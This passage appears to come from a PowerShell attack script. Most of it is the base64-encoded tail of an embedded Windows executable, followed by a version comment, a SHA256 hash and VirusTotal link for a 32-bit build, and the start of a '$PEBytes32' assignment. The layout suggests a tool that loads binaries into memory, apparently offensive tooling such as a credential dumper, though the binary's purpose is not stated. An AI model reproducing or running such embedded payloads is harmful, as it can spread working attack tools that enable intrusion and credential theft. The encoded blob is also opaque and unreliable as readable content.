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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAgAdAAAALiswKzgrOis8Kz4rBCtGK0grWitcK14rYCtwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AAACgCACAAAAAAKAIoBCgGKAgoCigMKA4oECgSKBQoFigYKBooHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNCg2KDgoOig8KD4oAChCKEQoRihIKEooTChOKFAoUihUKFYoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocChyKHQodihALAIAAABAABwpoCmkKaYpqCmqKawprimwKbIptim4KbopvCm+KYApwinEKcopzinQKdIp1CnWKcgqSipMKk4qUCpSKlQqVipYKloqXCpeKmAqYipkKmYqaCpqKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CreKuAq4irkKuYq6CrqKuwq7irwKvIq9Cr2Kugr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AAADACABAAAAAAKAIoBCgGKAgoCigMKA4oIiukK6YrqCuGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAAAA0AgAtAEAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrQAAAOAIAOAAAABQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq6CrsKvAq9Cr4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAA8AgA/AAAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnAAAAEAkADAAAAJisoKwAIAkAaAEAACimOKZIplimaKZ4poimkKaYpqCmqKawprimwKbIptCm2KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq2ircKt4q4CriKuQq5iroKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAMAkApAAAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGwobihwKHIodCh4KHoofCh+KEAogiiEKIYoiCiKKIwojiiQKKwo7ijwKPIo/CjcKR4pICkiKSQpJikoKSopJClmKWgpail0KUgqCioMKg4qGCoIKkoqTCpOKlgqZCqmKqgqqiq0KoAAABACQCEAAAA8KT4pAClCKUwpWincKd4p4CnkKeYp6CnqKewp7inwKfIp9Cn2KcAqAioGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCocKl4qYCpiKmQqZipoKmoqbCpuKnAqdiqSK1QrVitYK0AAABQCQBIAAAAKKAwoDigQKBIoFCgMKI4okCiSKJQooiikKKYoqCiqKKworiiwKLIotCi2KLgogijEKNIrVitaK1wrXitiK2YrQBgCQBUAAAACKYQphimKKYwpjimiKaQpqimsKa4psCmyKbQptim4KbopvCmyKfQp+in8Kf4pzisQKxYrPisAK0YrbCvuK/Ar9Cv2K/gr+iv8K/4rwBwCQA4AgAAAKAYoCCgOKDooNCh2KHgoeih8KH4oQCimKOgo6ijsKO4o8CjcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcwpzinQKdIp1CnWKdgp2incKd4p4CniKeQp5inoKeop7CnuKfAp8in0KfYp+Cn6Kfwp/inAKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKkwqTipQKlIqVCpWKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqniqgKqIqpCqmKqgqrCquKrAqtCq2KrwqviqEKsYqzCrOKtAq1CrWKtgq3CreKuAq5CrmKuwq7ir0KvYq/Cr+KsQrBisMKw4rFCsWKxwrHiskKyYrLCsuKzArNCs2KzgrPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitEK4YrlCuWK5grmiucK54rvCu+K4ArwivEK8YryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr6CvqK+4r8CvyK/Qr9iv4K8AgAkAyAIAAAigEKAYoCCgKKAwoDigQKBYoHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNCg2KDgoOig8KAAoQihGKEgoTChOKFAoVihcKF4oYChiKGQoZihoKGoobChuKHAodih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQouiiAKMIoxCjGKMgoyijMKM4o0CjSKNQo1ijYKNoo3CjeKOAo4ijkKOYo6CjqKOwo8ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopMCk2KTgpOik+KQQpRilIKUopTClOKVApUilUKVYpWClaKVwpXilgKWIpZClmKWgpailsKW4pcClyKXQpdil4KXopfCl+KUApgimEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimsKbIptCm6KYApwinEKcYpyCnKKcwpzinQKdIp1CnWKdgp2incKd4p4CniKeQp5inoKeop7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qFCoaKhwqHiogKiIqKCoqKiwqLiowKjIqNCo2KjgqOio8KgIqTCpUKlwqZCpmKmwqbip0KnYqfCpEKoYqiCqKKowqjiqSKpQqliqYKpoqnCqeKqAqoiqkKqYqqCqqKqwqriqwKrIqtCq2Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK24rgAAAJAJABwAAACAo4ijkKOYo2ikeKSApIikoKSopADgCwAQAAAAyKzgrOisAAAAYAwACAEAAGChqKHIoeihCKIooliicKJ4ooCiuKLAohCjSKVwqHiogKiIqJComKigqKiosKi4qMio0KjYqOCo6KjwqPioAKmQqZipKKs4q0CrSKtQq3irgKuIq5CrmKugq6irsKu4q8ir8KsArBCsIKxArEisWKxwrIiskKygrKisuKzArNCs2KzorPCsAK0IrRitIK0wrTitSK1grXitgK2QrZitqK2wrcCt2K3grfCt+K0IrhCuIK4orjiuQK5QrliuaK5wroCuiK6YrqCusK64rsiu4K7orviuAK8QrxivKK8wr0CvSK9Yr2CvcK94r4ivkK+gr6ivuK/Ar9Cv2K/or/CvAAAAcAwAYAEAAACgCKAYoCCgMKA4oEigUKBgoHigkKCYoKigsKDAoMig2KDgoPCg+KAIoRChIKEooTihQKFQoVihaKFwoYChiKGYoaChsKG4ocih0KHgoeih+KEAohCiKKIwokCiSKJYonCiiKKgorii0KLoogCjCKMYoyCjMKM4o0ijYKN4o5CjqKOwo3iliKWYpbClwKXQpeil+KUIplimaKZwpnimgKaoprCmuKbApsim0KbYpuCmCKcYp0CnUKd4p4insKfAp+in+KcgqDCoWKhoqJCooKjIqNioAKkQqUipcKl4qYCpqKm4qfCpGKogqiiqUKpgqoiqmKrAqtCq+KoIqzCrQKtoq3iroKuwq9ir6KsQrCCsSKxYrICskKy4rMis8KwArSitOK1grXCtmK2ordCt4K0IrhiuQK5QrniuiK6wrsCu6K74riCvMK9Yr2ivkK+gr8iv0K/YrwAAAIAMANgAAAAAoAigEKA4oECgSKBwoHiggKCooLCguKDgoOig8KAYoSChKKFAoVChYKF4oYihmKGwocCh0KEIokCiaKJ4ooiikKKYoqCiqKKwosCi8KJAo5CjIKQwpHCkgKTApNCkEKUgpWClcKWwpcClAKYQptCm4KYgpzCncKeAp8Cn0KcQqCCoYKiAqJCoyKjYqOioAKkQqVCpYKmgqbCp6Kn4qQiqgKqQquCqMKuAq+CrMKyArCCtMK1wrYCtwK3QrRCuIK6grrCu8K4Ar0CvUK+Qr6CvAJAMAIAAAAAAoBigMKBQoGCgoKCwoPCgAKFAoVCh8KEAokCiUKKQoqCi4KLwojCjQKOAo5Cj+KMApECkkKTgpDCl8KVAppCm4KYwp4CnAKhQqKCo8KhAqZCp4KkwqoCq0Kogq3CrwKsQrGCssKwQrSitgK3QrXCuwK4Qr2CvsK8AoAwAcAAAAACgUKCQoJigqKDgoPigMKFIoZCh4KEwooCi0KIgo3Cj4KPoo/ijQKSQpOCkMKWApdClIKZwprCmuKbIphCnUKdYp2insKcAqFCosKi4qMioEKlgqaCpqKm4qQCqUKqgquCq6Kr4qgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # 2.1 (Win32) 20161029 OJ Edition! + # SHA256 hash: BE3414602121B6D23FC06EDB6BD01AD60B584485266120C242877BBD4F7C8059 + # VirusTotal Analysis: https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/ + $PEBytes32 = 